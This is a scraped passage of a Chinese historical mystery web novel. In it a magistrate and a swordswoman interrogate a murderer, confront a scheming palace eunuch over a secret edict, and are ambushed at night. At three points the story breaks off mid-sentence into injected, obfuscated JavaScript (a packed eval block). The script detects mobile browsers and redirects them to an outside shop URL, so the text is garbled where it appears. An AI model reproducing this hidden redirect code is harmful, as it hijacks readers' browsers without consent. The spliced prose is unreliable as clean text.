“什么后山,小的不知道县令在说什么啊?”曲择额上沁出汗粒,慌张的不停眨眼,整个人缩的像个鹌鹑,下意识反驳。 肖寻岳也没说话,只挥了挥手,一旁站着的衙差上前张开手,将那枚玉佩放在他眼前。 “这是杜县尉在坟里找到的。” “呵,”花醉州站起身,补充道,“你是不是在想,自己已经做的够隐蔽了,肖县令怎么会知道的。” 花醉州清清嗓:“我自知,罪孽深重,愿以死谢罪!” “这句话,是你说的吧?” “你跟踪我?!”曲择猛的抬头,怒目而视。 “这么说,你是承认昨晚那个去后山祭拜的人是你咯?” “你诈我?!”曲择这才反应过来自己又被摆了一道,真是该死,这花醉州真如那贵人说的一般该死。 花醉州抱臂绕至他面前,愤愤道:“诈你又如何?那日在客栈刚见你时,我就觉得你不对劲,还真给我猜中了!不过我很好奇啊,是谁指使的你,又许了你什么高官厚爵?你竟愿意卖命。” “……高官厚爵?”曲择眼底布满疑问,像是听到了什么笑话。 “没有高官厚爵,我只是想让娘活着。” 他似乎是有些累,驼着背,眼睛灰败:“我五岁死了爹,娘一个人把我拉扯大,六十来岁的年纪瞧着像七八十,没有谁想杀人,但我娘得了心疾,我怎么可能不管?” 他越说越激动,越觉得生气,指着花醉州和肖寻岳吼道:“我没钱,没钱!一分钱难倒英雄汉!你们这些养尊处优的郎君娘子怎么会懂!” 花醉州歪歪头,这人简直不可理喻:“为了钱就去杀人,照你这么说天下都要乱套了!宋县丞难道没帮过你吗?你对自己恩人的报答方式就是杀了他?” “但是我娘的病等不起!你知道杀一个县丞那贵人给我多少钱吗?整整五十两!我用五年能赚到吗?赚不到! “况且他帮过我什么?几枚铜板吗?是,能买几个馒头,然后呢?呵。” “你!”花醉州顿了顿,却找不到词来形容他。 曲择目眦欲裂,脖子上青筋暴起:“我今年四十又六,未娶妻未生子,我只是想让我娘活着我有什么错!” “曲择。”肖寻岳开口,冷冷的没什么感情,带着为官者的不怒自威。 他把刚刚晾干的字团成一团,扔到曲择面前:“打开看看,认得上面的字吗。” 宋津臣。 那三个字躺在纸上,像火一样灼眼,曲择忽的苦笑一声,他们以为,他想杀人吗?自从动了手,他每天都在悔恨与恐惧之中度过,但他真的没钱。 肖寻岳手搭在桌子边沿,问道:“无论是何缘由,杀人就得偿命,曲择,你作为快班难道不知道吗?” 知道。他怎么不知道。 当年刚进县衙,这句话还是宋县丞教的,他说:“为官者,需心怀百姓,造福一方;为官者,最忌害人,不以杀人为乐,不以杀人谋利。” 他趴在地上,眼泪夺眶而出,顺着眼眶流向眉毛,最后滴落地面,反射的光刺进他眼里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449771|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这大晌午的,真是好刺眼的光。 肖寻岳眸光闪烁,语气轻缓:“曲择,我知你并非主谋,但动手杀了宋县丞的人,是你。” 他这话倒是在曲择意料之内,其实自打他动手,他就做好了死的准备。 肖寻岳继续说:“若你愿意说出是谁指使你,或许可以减刑。” 一听到“减刑”,曲择眼里的暗淡亮了一瞬,随即又丢失在眼里,不行,娘的命还捏在贵人手里,而且他不能忘恩负义。 “县令,我只问一句,能否让我送我娘最后一程,等我娘死了,我立马自刎。” 曲择眼里带着乞求,他所求不多,他只求能在最后陪着娘。 他跪在堂下,姿态虔诚,肖寻岳看着他,就好像看见了当年跪在灵堂的自己,那时,他刚退了热,阿娘却要下葬了。 他动摇一瞬,随即又清醒出来:“曲择,你若是告诉我主谋是谁,我愿意一试,让你在母前尽孝。” 愿意一试,那不就是没把握吗,曲择有些心灰意冷,但还是想尽力抓住每一丝希望:“我不知道。” “他很谨慎,来的时候全身都是黑的,连眼睛我都看不到。” 肖寻岳还想继续问,却突见曲择面露苦色,似乎是在忍耐什么。 “呃!”曲择捂着肚子,倒在地上,不停抽搐着,不时发出痛苦的叫声,就好像下一刻肠子就要断裂一样。 “呃,啊!好疼……县令!救我……”曲择伸出手,抓着眼前的空气。 面色痛苦,一瞬间让花醉州想起了昨夜的周平。 “曲择?曲择!”花醉州蹲下身,晃了晃他的身体,“你怎么了?” 曲择脸色涨红,声音断断续续:“求你……救我……” 花醉州看他这幅模样,心道不好,转头朝肖寻岳说:“快,把他抬到后院,找阿斐!” 二堂离后远有一段距离,四个衙差抬着曲择走了整整一刻钟才到。 “阿斐!阿斐!”花醉州一边跑一边喊着。 “来来来张嘴!喝药了!喝了就好了!”颜斐坐在屋里,吹凉勺子里的汤药,往周平嘴边送。 周平闭着眼,还没醒,也没法吞咽,颜斐一边扒开他的下巴,然后抬高,寄希望于药可以顺着滑进去,只可惜这碗药,喝了一半洒了一半。 “吱——” 颜斐刚放下空了的药碗,花醉州就一把推开门。 “阿斐,你快看看能不能治。” 几个衙差抬着曲择从门口进来,把人平放在地上,曲择张着嘴,已经完全没意识了。 “这怎么回事,人都不清醒了?” 事发突然,在场的人都不清楚,颜斐也没希望得到回答,只赶忙蹲下把脉,只是这脉象,好熟悉:“他中的毒,和周平的一样。” “……我,我治不了。” 曲择偏头喷出一口血,大半都溅在颜斐衣袍上,气息更加微弱。 “那,如果只是压制毒素呢?”花醉州问道。 “这……”颜斐面露难色。 “我去找城里的大夫。”肖寻岳说着便要出门,花醉州拉住他:“肖寻岳!曲择为什么会这个时候中毒,就是想看我们自乱阵脚。” “可是他不能死。”主谋尚未找到,况且他娘还等着他照顾呢。 兵荒马乱,偏偏这时,躺在床上昏睡着的周平又猛地吐出一口血。 18. 商君 “哟,我这来的,倒是不凑巧了。” 正待众人手足无措之际,门外响起一道尖细的声音。 冯知福迈着小碎步,一边走一边探头往门里瞧着,地上躺着一个,床上还倒了一个,他脸上带着莫名的笑:“看起来,县令这是有要事啊,还挺忙。” 去而复返,不安好心。肖寻岳心下一沉,转过身拱手:“冯内侍。” 冯知福摆摆手,脸上笑嘻嘻的,自顾自进了门一屁股坐下:“哎呦县令,您可别怪我又不请自来,只是刚刚走出门,突然想起有件事儿忘了说,这才折返回来。” “内侍说笑了,下官不敢。” 肖寻岳盯着他的眼睛,来的不凑巧?分明是来的太凑巧了,巧到让他不得不怀疑这其中有没有什么猫腻。 “内侍,今日县衙诸事繁多,不妨先行移步前厅,我随后便到。” 冯知福朝身后使了个眼色:“县令莫急,我瞧着这两人的情况,也不是不能救。” 那帷帽男垂首上前,蹲下身就要把什么东西往曲择嘴里塞。 “这是什么?”花醉州伸开手拦住他,问道。 那人就这样被她拦着,抬起头看向她,但是一句话也不说,像个傀儡。 “娘子放心!不是毒药,只是能暂时保命而已。”冯知福捏着嗓子,越过肖寻岳回复道。 不是毒药?花醉州蹙着眉,不仅来的巧,还正好有解药,真是诡异。 “你再拦,人就真死了。”他突然开口,依旧是那破布一般的嗓音。 花醉州不通药理,只好朝颜斐努努嘴,颜斐会意,凑近吸吸鼻子,撑着下巴念出一大串药名:“当归、人参、白芷……师姑,真的有用。” 他都这么说了,应当是没问题,而且两人现在都昏迷不醒,她也不好再拦。 帷帽男见她垂下手,手腕一动,两颗药便准确无误地飞入两人口里。 这等功夫!花醉州心下一惊,习武之人对于对手有着天然的敏锐,如果说刚刚在前厅她还只是怀疑,那么现在,她基本可以完全肯定,这男人就是昨晚的黑衣人。 喂完药,男人起身走回冯知福身后,错不了,昨晚那人的重心就习惯性的压在左脚,今日虽有伪装,但习惯骗不了人。 如此说来,这冯知福也不清白。 那药刚喂进去,两人的呼吸就渐渐平稳,紧拧着的眉头也开始松开,颜斐把手搭在曲择腕间,脉象平缓,只是还有些沉,看来这药确实有效,虽没立刻好转,但好歹是暂时活过来了。 颜斐起身朝花醉州和肖寻岳点点头,示意无事。 肖寻岳这才放下心思索着,曲择刚中毒,冯知福就恰好回来,还正好有救命的药,巧合太多,那就不是巧合了,是筹谋已久。 那今日冯知福来这一遭只怕不只是为了颁圣旨,不过,还会是因为什么呢。 “县令,我瞧这两位小友暂时无事了,可否借一步说话?”冯知福侧过身,伸手指向门外。 来了,果然不只是送个药这么简单。 花醉州下意识扯住肖寻岳的衣袖,不能去,最起码不能单独待在一起,这人只怕是来者不善。 肖寻岳错身一步,挡住了花醉州,背过手拍拍她的小臂:“内侍可否让我先安顿好这两人,我立马去前厅。” 冯知福站在门口,半天没说话,空气近乎凝滞着,肖寻岳差点以为他不答应,他却突然开口了:“县令心怀百姓,知福佩服,那我便先行一步。” 肖寻岳悄悄松了口气:“恭送内侍。” 待人走远,肖寻岳“砰”的一声关上门,转头说道:“有问题!” “有问题!” 两道声音夹杂在一起,同时说出。 花醉州看向面前站着的人,不知道为什么,她总隐隐感觉,有什么东西在失控。 “你也察觉到了。”肖寻岳说。 “嗯,”花醉州点点头,“我现在可以肯定,昨晚的黑衣人,就是冯知福义子,他若敢推脱没受指使,我不信。” “无论如何,这冯知福,今日都来者不善。” “那你还要去见他吗?” “自然要见,他现在的身份,是圣上钦使,更何况,想拆招还需见招。” 肖寻岳转过身:“阿醒,颜斐,帮我照看好他二人,我去去就回。” “不行,这个冯知福绝对有问题!”花醉州拉住他的袖子,阻止道。 肖寻岳笑笑,安抚道:“我是朝廷官员,再如何,他也不敢杀我,况且,还要麻烦你帮我把阿良带回家,他一定在厨房呆着,现下已经晌午,他妹妹会着急的。” 说罢,肖寻岳头也不回的走向前厅,花醉州看着肖寻岳的身影一点点消失在拐角树荫,心里一阵发堵,莫名不踏实。 “师姑,难道真的就让县令这样一个人去赴约吗?”颜斐自觉迟钝,脑子不灵光,但今日之事,饶是他也嗅到了一丝不寻常。 “当然不是,但我要先安顿好阿良。” “话说,阿良是谁啊?” 花醉州顿了顿:“说来话长,等日后有机会再讲与你听。” * 前厅雅致,有一扇檀木雕花的门,平日都是开着的,阳光一照,树叶斑驳洒在阶上,端的是几分意境。 只是如今却房门紧闭,肖寻岳吸了口气,上前一步开门迈过门槛,突的脚步一顿。 疾风掠过,冰冷的刃紧紧贴在他的脖子上,似乎下一刻就要划破脖颈,流出温热的血,肖寻岳站定在原地,动都没动。 身后紧跟着传来拍掌声:“面对刀光剑影,亦岿然不动,肖明府好魄力。” “不敢当,不过是觉得,这剑不会危及性命罢了。” 冯知福挥挥手,男人挽了个剑花收起剑:“县令莫怪,我这义子啊,太过警惕,没有误伤县令吧?” 虚情假意。 肖寻岳默默道:“无碍,”他朝戴着帷帽的人笑了笑,“力度控制的极好,习武很久了吧?” 男人却只是垂着头站在冯知福身后,不回话。 “啧,县令问你话呢!你个榆木疙瘩!”冯知福翘着兰花指,用拂尘打了他一下。 男人朝肖寻岳点点头:“是。” 一个字就当是回答了他的问题了。 肖寻岳也没在意,反正他已经得到他想要的回答了。 “县令不用管他,他就是这样无趣。”冯知福转回身来,朝肖寻岳说,“我这次来,是有一个疑惑,想请县令帮忙解惑。” “不敢,内侍都不明白的事,肖某怎敢自不量力?” “不过是一局棋罢了,但是个残局,我这年纪大了,脑子不好使,便只好腆着脸来问问县令了。” 棋局?肖寻岳抬眼看向冯知福,这卖的什么关子,想他冯知福当初能得圣上青眼,就是因为一手好棋艺,如今他说有解不了的局,他又如何能解。 “来来来!摆上来!”冯知福拍拍手,朝门外喝着。 两个白衣童子翩翩进入,放下棋盘和棋子便出门而去。 “县令瞧瞧,这棋局如何?” 棋盘之上,黑守白攻,双子如同太极一般扭紧,不分彼此,粗看一眼只觉似是二龙争霸,细看便知白子攻势渐颓,黑子虚实相守,反倒占优势。 “围棋虽为诡道,却有其精妙,就此局看来,白子势颓,却未必后力不足。” “嗯,”冯知福撇撇嘴,点头赞同,“说的没错,不愧是新科状元郎啊。” 肖寻岳一拱手,恭维道:“早闻内侍棋艺精湛,今日一见,果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果不是冯知福动的手,那就说明还有另一个人搅在局里。 只是。 “吴耳呢?”吴耳是他动的手吗。 此话一出,冯知福那位义子手一紧,握住腰间剑柄:“大胆!小小县令,竟敢质疑内侍!” “哎,”冯知福抬手制止,问道,“县令说的谁?无尔是谁?” 肖寻岳笑了笑,他问的冯知福,这义子急什么:“没事,内侍只当我随口一问。” 冯知福也没再管,说:“县令不妨好好想想,为何县衙里会莫名出现关于你的谣言,又为何迟迟未散布出去。” 见时机差不多了,冯知福掏出一份密旨:“曲塘县令肖寻岳,接旨。” “接旨?”肖寻岳皱皱眉头,问道。 “接旨!”冯知福厉声道,肖寻岳心犹存疑,却也不得不跪下接旨。 “曲塘凶案,朕虽远在京师,亦有耳闻,今闻家花醉州,朕觉其嫌疑犹大,着即刻押解京师,沿途示众。此为密旨,除曲塘县令不得听。” 内容不长,几息之间便读完了,肖寻岳垂着头,抬起的手止不住发抖,圣上这是何意,想让他在花醉州和宋县丞之间二选一吗? “县令,圣上说了,这份密旨,一旦宣读,便给你半日时间,所以,明日巳时之前,若还未将花醉州游街,就判你欺君之罪了。” 欺君之罪,当处极刑。 可花醉州分明没错,送什么京,示什么众! 冯知福弯腰凑到他耳边,压低声音:“县令若是不愿,这不是有一个现成的替罪羊吗?” 他指的是曲择。 肖寻岳捏着手里的圣旨,手越收越紧。 “言尽于此,季怀,我们走。”冯知福叫上他那义子出了门,徒留十月冷风阵阵吹入房中,吹得肖寻岳心生寒意,衣角带霜。 19. 陌刀 “义父,”帷帽男人一出县衙,便忍不住发问,“您说,他能想清楚吗?” 冯知福撅着屁股上了马车,气喘吁吁:“季怀,你要知道,他既然是什么弼君郎,若是想不明白其中道理,我看圣上也不必在意他了。” “况且,”他问道,语气不可思议,“我说的话有那么难懂吗?” 冯季怀站在马车外,敛下眸中一闪而过的窃喜:“不,通俗易懂,谢义父指教,季怀明白了。” “行了行了,赶紧回驿站。”冯知福手一挥,瘫坐在马车内,今日这一遭可给他累够呛。 正值晌午,曲塘街道两旁全是百姓们支起的小摊,卖什么的都有,杂乱不一,叫卖声和问价声交织在一起,倒是热闹。 冯知福卷起卷帘,将其向上固定,一路走一路瞧着:“这曲塘,没有坊市之分吗?” “回义父,曲塘临近运河,近些年商贾逐日兴盛,人来人往的,一些贩夫走卒为了方便,就选择沿街开铺子。” “哎老板,你这鱼脍怎么卖啊?”马车不远处,一身着布衣的娘子挎着竹篮,站在鱼摊前问道。 那汉子把刀往案板上一甩:“娘子,你可是问对人了,这十里八街的属我买的便宜,五十文一斤,如何?” “老板,再便宜点呗,这都十月末了。” “娘子,这鲈鱼可是我今早……” 汉子还没说完,他娘子从摊子后面的屋舍出来,搬着一大盆鱼脍,约莫有好几斤:“啧你会不会做生意啊。” 她瞪了汉子一眼,转头朝那娘子笑道:“娘子,我瞧着您是熟客,这样吧,四十五文一斤,再送您些下酒小菜,可满意?” 那娘子这才高兴:“我说老板啊,多和你家娘子学学……” 马车越走越远,冯知福渐渐听不清百姓言语,便将头缩回车内,虽说现在的时节,鱼脍不应季,味道也不怎么样,但四十五文可不是个小数目,这里的普通百姓能吃得起,真是叫人震惊。 正想把帘子卷下来闭目养神,冯知福突然瞧见了一个熟悉的身影。 “老板,给。” 花醉州掏出几枚铜板,接过老板递出的毕罗,弯腰放在阿良眼前:“这个啊,咱们带回去,和妹妹一起吃,好不好?” “好!”阿良仰起头,笑得纯真,“谢谢阿姊。” 花醉州摸摸他的头:“走,回家。” 冯知福仔细打量着她身边的阿良,他倒是记得花醉州身边有个十几岁小孩,说是什么师侄,现下这孩子看起来不过七八岁,但却举止亲昵,冯知福轻敲窗框:“季怀,你去查查,她身边这个小孩什么来头。” “是。” 花醉州拿着毕罗,牵着阿良的手往前走,莫名感觉有人在盯着她。 刚一回头,身旁忽的掠过一阵风,一辆普通马车擦身而过。 那种被凝视的感觉又骤然消失,奇怪,难道是她多心了? * 阿良的家在清渠右街沟尾巷,四周都是些砖块和木头垒起来的小平房,巷子窄小但深长,有不少人家,不时过去几个人,笑呵呵的和阿良打招呼。 “阿妹!我回来了!” 阿良推开面前那扇木门,朝里屋喊道。 不消片刻,一个扎着双丸子的小女孩踢踢踏踏跑出来,刚想叫“哥”,就看见了花醉州,立刻噤声,探着脑袋躲在门后。 阿良见她这幅样子,走上前拉着她的手:“阿朵,你别怕,这位阿姊是好人。” 他擦擦阿朵脸上的口水印子,拉着人带到花醉州面前。 “阿姊,这是我妹妹,她叫阿朵,也是宋伯伯起的。” 阿朵今年不过三岁,怕生得很,花醉州见她躲在阿良身后,便蹲下来晃了晃手里的毕罗,然后打开一小道口子,香气瞬间飘出:“阿朵,我听你哥哥说,你喜欢吃毕罗,我便买来了,你瞧瞧,是不是你喜欢的口味?” 小孩子天性纯净,能感受到人的善意,阿朵眨着眼睛,从阿良身后探出半个身子,小声说:“谢谢阿姊。” 花醉州笑了笑,轻轻捏捏她的脸,然后起身将毕罗放在院子里的木桌上,这木桌很矮小,正合阿朵和阿良的身,应该是找人专门打的。 两个小孩吃的满嘴油光,花醉州托着脸问道:“话说,家里没人主事,阿良阿朵,你们二人平日吃食如何解决?” 阿良还未回答,便有人替他喊出声。 “阿朵!阿良!吃饭了!”响亮的喊声过后,门被人从外推开,穿着赭色麻布衣的大娘提着食盒,像往常一样拄着拐杖走进来。 一进门,却发现花醉州坐在桌旁,两个小孩儿还吃着她的东西。 “你谁啊!”那大娘朝花醉州喝道,抄起拐杖一瘸一拐的跑来。 “你个杀千刀的!敢在老娘眼皮子底下拐娃!看老娘今儿个不打死你!” “哎哎哎!”拐棍长,饶是那大娘站的远也能挥来,花醉州侧身一躲,然后伸手抓住拐棍往后一拉,那大娘没站稳,被拉的一个趔趄。 “嘿!你这……”罗大娘站稳身子,撇下拐棍,弯腰便要脱鞋。 阿良急得抱住她的大腿:“罗大娘!这位阿姊不是坏人!是肖大兄让阿姊来照看我的!” 肖大兄?那不就是县令吗!罗大娘的动作一顿,话也噎在喉咙里。 花醉州无奈点头:“大娘,你若是不信,大可去县衙问问县令,我不是什么拐子。” 罗大娘狐疑的打量着她,这人穿着不凡,衣服料子一瞧就知道很贵,而且她说县令的时候脸不红心不跳,莫非真是个好人。 罗大娘笑笑,手在衣服上搓了搓:“妹子,你莫怪啊,这俩孩子无依无靠的,我生怕他俩出点啥事,这才有些……” “我明白,有警惕心是好的,大娘我不怪你,只是不知该如何称呼?” 罗大娘笑笑:“娘子叫我罗娘便好。” “罗娘。”刚叫完,花醉州的肚子就咕噜叫了一声,有些尴尬。 罗娘眼睛上下瞧着,笑道:“小娘子出来没吃饭啊?” 她伸出手推着花醉州的后背,把人推到木桌旁:“吃吧吃吧,我做的多。” 阿朵见她坐下,伸出一根手指把面前喷香的蒸饼往她那边推了推,然后眨着圆圆的杏眼:“大娘手艺很好的,阿姊尝尝。” 盛情难却,加之实在饥肠辘辘,花醉州拿起一个羊肉蒸饼,一口咬下去满是汤汁,也不膻,香的很。 花醉州眼睛亮了亮,抻着脖子咽下去夸道:“罗娘,你这手艺能开个饭馆了!” “行了行了,快吃吧。”罗娘用手背碰她一下,假意嫌弃道。 花醉州笑了笑,拿起两个蒸饼,看了阿良和阿朵一眼,温声说:“阿良,阿朵,你们两个乖乖的,把饭吃完,阿姊和罗娘有些话要说,一会儿就过来好不好?” “好!”阿良用力点点头,“阿姊你快去吧!” 花醉州揉了揉俩人的脑袋,转身揽着罗娘的肩走到门口,问道:“罗娘,宋县丞可住在这附近?” “啊对!”罗娘伸出手往巷口一指,“出了这个巷子沿街往北走,过去两个巷子第一家就是宋宅。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449773|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过小娘子,你问这个干啥?” 这就对了,她说为什么刚刚跟着阿良走过来会觉得熟悉,原来是早已走过。 花醉州摆摆手:“只是觉得这路熟悉,又怕搞错,所以才问问您确认一下,那罗娘,四日前你可见过什么奇怪的人?” 既然宋县丞死在宋宅,凶手还用的是醉九州,无论真的假的,动静都不可能小。 “奇怪的人?”罗大娘眼睛往上一瞟,仔细回忆着。 “嘶,你这么说,好像有点印象,不过那是五天前了。” “五天前?” “对,那人拿了个这么大这么长的刀!”罗娘伸长手臂,犹觉不够似的,愣是蹲下在脚边划了一道横线,然后走了几步又画了一道线,约莫有七尺长。 “可骇人了!当时还有人问他,拿这么大的刀干啥,他说了个,说了个啥来着……” “哦对!他说了两个字,别管。哎呦,冷的很嘞!跟他说一句话都觉得冻人!”罗娘摩挲着胳膊,似乎是要抖掉一身的疙瘩。 “这么大这么长的刀?”花醉州看着那七尺长的距离,心里隐隐有了一个猜测。 “昂!” 陌刀。她虽称不上十八般武艺样样精通,但兵器这种入门的东西她还是认得清的。 这就又和秦樊那张验状对上了,只是陌刀非常人可舞,今日冯知福那义子身量不高,只比她高半个头,且只有右手虎口有茧。 如果这陌刀客不是冯知福的人,那会是谁。 到底还有谁想让宋县丞死。 “小娘子,这杀人凶手,到底找到没啊?”罗娘凑近她,有八卦也有焦急。 “还没有,不过我相信,很快了。” “罗娘,我多嘴问一句,县丞死了,你们难过吗?” “难过?”罗娘反问一声,拍了拍自己的左腿,“当然难过啊!他可真是个好官!就我这条好腿,要不是他,也留不下来。” “只是我再悲伤日子也得过啊,宋县丞是好人,但不能为了悼念他我也茶饭不思吧。” 罗娘拍拍她的肩膀:“小娘子啊,你年纪小,把这些人情看得太重,以后你会发现,日子是自己的,悲伤是暂时的,不能忘了根本呐!” 不能忘了根本。 这话说的务实,花醉州竟有些怔愣。 “咕咕咕。”一阵鸽子叫从头顶响起,莫名熟悉,花醉州抬起头。 是师傅的信鸽! “咻——”花醉州把手指放进口中吹了一声,那鸽子停顿一下,调转回头,径直落在花醉州肩上。 “啊呦!小娘子,你这,这鸟这么听你话啊!”罗娘眼睛放光,大笑着,她还是头一回瞧见这情景,真是神了。 遭了,嘴快了。 花醉州呵呵笑了两声,掩下尴尬:“呃,我只是,略通驯兽之术。” “哎呦,真谦虚。”罗娘手一挥,轻打她一下,调侃道。 师傅此时来信,定有要事,还是先回县衙,再做打算。 “罗娘,这时候不早了,我就先回去了。” 说完,转过身朝里面吃的正香的两人挥挥手:“阿朵!阿良!我先走了!你俩乖乖的,听罗娘的话!” 俩小孩也使劲挥挥手:“知道了阿姊!” 巷子窄小,午后的太阳光斜斜洒进来,花醉州逆着光悄悄拆下信鸽腿上的竹筒,然后往空中一抛。 没想到这曲塘远离京师,水竟然也这么深。 花醉州看了看天色,已是未时,也不知道那冯知福,和肖寻岳都说了些什么。 20. 抉择 颜斐洗净手上的血迹,甩甩沾着的水,一推开门刚想歇歇,就瞧见花醉州目光呆滞的坐在桌边。 “师姑?你咋了?”颜斐伸手在她眼前挥了挥,花醉州却没有任何反应。 “嘿?”颜斐搭上她的肩膀,前后摇了摇。 “师姑!” “啊?”花醉州这才回神。 “他们两个没事了?”那两人当时的情况实在凶险,尤其是曲择,不停吐血,只剩一口气了。 颜斐坐下给自己倒了杯水:“那当然,要说那个白衣帷帽男给的药也是神了,现在就算师傅不来,我也都能给他俩救活。” “哎?师姑,这谁的信啊?”颜斐大口喝着水,眼神瞟向桌上放着的那张纸,问道。 花醉州眼神微动,拿起那张薄薄的纸:“是师傅来的信。” “师祖?!难道出什么事了?” 那信纸不算大,短短几句话,却让她心绪不宁:“师傅说,我这次的牢狱之灾,是有人刻意为之,他会替我处理好,叫我不要担心。” “刻意为之?师祖有说是谁吗?” 她摇摇头:“没有。” 这也就是她疑惑所在,师傅,你既知道幕后之人是谁,为什么不告诉我呢。 或者说,师傅,你知道这人想害我吗? 她不愿去想这些,哪怕因为包裹里那玉佩让她背负杀人之嫌,她也不愿去怀疑师傅。 她相信师傅一定是不知情的。 可现在…… 花醉州指尖一阵发紧,米黄色的纸张泛起褶皱,墨色的字迹张牙舞爪,争先恐后挑衅着她的信任。 “师姑,别想了,万一师祖是觉得他能摆平,不想让你多心呢?”颜斐趴在桌子上,他不知道信上写了什么,但他很少见师姑露出这么严肃的表情。 颜斐小声嘟囔着:“看你这失魂落魄的,倒和县令刚刚的样子有点像。” “肖寻岳?”花醉州冷不丁开口,问道。 “对啊,应该是一个时辰之前吧,县令来问周平醒了没,我说没醒,他就走了,不过脸色很差,我问他怎么了,他也不回答,”颜斐顿了顿,偏头倒在胳膊上,“就和师姑你刚刚一样。” “脸色很差?他去哪里了?” “不知道,不过看方向,”颜斐指了指县衙西北角的后山,“应该是那里。” 花醉州捏紧信纸,缓缓把它送到烛台上,任凭火舌席卷。 “我去找他。” * 十月末,酉时。 夜色如水,不消片刻便流满天际。 花醉州找了好久,终于在县衙一里之外的矮山上找到了人影。 肖寻岳坐在一块大石头上,面对着北方,身后树林飒飒,不时飘落几片叶子,满身萧索。 “肖子商。”花醉州从他身后走来,把身后的衣袍往后一甩,坐到他身旁。 肖寻岳一听到她的声音,有些本能的想逃,却被她拉着动弹不得,只好转过头,笑着:“你来了。” 花醉州不想问他为什么要跑,便问道:“县令怎的不去查案了?” 肖寻岳垂下头,嗤笑一声,语气淡淡:“还有必要吗。” 花醉州有些诧异,转头看他,这不是他,肖寻岳不会说出这样的话。 正想开口,突然瞧见他袖子下压着的明黄色圣旨,不,不一样,今日冯知福颁的圣旨,卷轴上有皇室龙印,但这份没有。 莫非是今日在前厅,冯知福说了什么? “这是?冯知福都和你说什么了?”她指着圣旨发问。 肖寻岳手指抽动,有些慌乱的想要用袖子盖住它,只可惜官服是窄袖,无论如何也盖不住的。 如此狼狈,肖寻岳笑了一声,索性放弃,没头没尾问了花醉州一句:“阿醒,如果我,不是你所想的那种人,怎么办。” 花醉州歪头皱皱眉:“我所想的那种人?” 她笑笑,问道:“那你倒是说说,我所想的你是什么样的。” 肖寻岳皱着脸,思索道:“也许,是正直的,不屈的,清廉的官?” 花醉州盯着他,神情认真:“不,肖寻岳,你说的这几个词,都是你自己认为的自己,而我所想的你,其实是一个古板的,善良的,有点傻的,但又有温情的……人。” 树叶沙沙的响,肖寻岳觉得,实在是有些吵,他都快听不清他的心了。 肖寻岳蓦然一笑,是舒展的,放松的笑。 冯知福今日看似给了他三个选择,实则只有一个,不过现在,他想清楚了,他的选择。 花醉州看他眉头展开,这才问道:“那现在可以告诉我,冯知福说了些什么吗?” 肖寻岳装出不在意的样子,随意道:“没说什么,无非就是叮嘱我好好查案,提醒我三日之期。” “肖寻岳。”这是她今晚第二次叫他的名字了,他不喜欢,因为没有感情。 “我不喜欢欺骗。”她说。 肖寻岳心颤了颤,直视着她的眼睛,有一瞬间在想,要么就和盘托出吧:“阿醒。” 话到嘴边,他又顿住了。 花醉州也没开口催,她不愿意逼迫出一个答案。 “……冯知福让我在道义和仕途中做抉择。” “可是你说过,杀人偿命,天经地义。” 肖寻岳没有否认:“对,所以,我选择道义。” “阿醒,我想请你,帮我个忙,帮我把冯季怀抓到县衙。” “冯季怀?就是那个义子?” “嗯。” “为什么抓他?” 冯季怀那双颤抖的手犹在眼前,肖寻岳笑了笑:“因为,他很有可能,就是两桩案子之中的一个凶手。” “你的意思是说,两桩案子并无关联,凶手也不是一个人?” “这我还不能确定,不过我有七分把握肯定,他是杀了吴耳的人,至于是否有关,还要抓到他好好盘问。” “……可,”花醉州罕见的有点窘迫,“我打不过他。” 肖寻岳愣住了,一时间没有接话。 花醉州有些恼火,跺跺脚:“我是认真的,昨晚抓他的时候我就感觉到了,他的武功不在我之下,甚至比我还好,想抓他,很难。” “很难……”肖寻岳沉思着。 须臾,像是想到了什么似的,笑着说:“那就麻烦阿醒帮我送个信,就说肖县令请冯内侍明早卯时,不酣楼一叙,落款……就写商吧。” 不酣楼,就是她来曲塘时住的那间客栈。 花醉州看他一眼,也明白他想干什么,点点头:“好。” 肖寻岳还想说些什么,花醉州耳朵一动,竖起手指放在嘴边,低声说:“有人,我们快走。” 两人起身正打算回去,一支箭从肖寻岳身后飞来,正对着他的心脏。 花醉州反手抽出匕首,抱着他的腰往后一拉,挡住了那只箭。 “谁?!给我滚出来!” 树林寂静,无人应答。 花醉州警惕的看向四周,夜色越来越暗,再拖下去,只怕不利。 思及此,花醉州拉起肖寻岳的手腕就跑,没跑几步,面前突然出现一个戴着面具的黑衣人,但手里却无兵器,唯有腰间一点寒芒闪过。 莫非是,曲水段家?! 段家人善用软剑和暗器,三尺长的剑围在腰间,暗器更是防不胜防。 真是该死,段家狼子野心,一直想取代闻家武林第一的位置,估计是来杀她的。 花醉州回头冲肖寻岳小声说道:“应该是冲我来的,你快回去,搬些救兵来。” 段家人阴险,每次出任务都成群结队,她才不信今日只来了一个人。 “好!你千万小心!”肖寻岳自觉武功不好,便不给她找麻烦,转身要走。 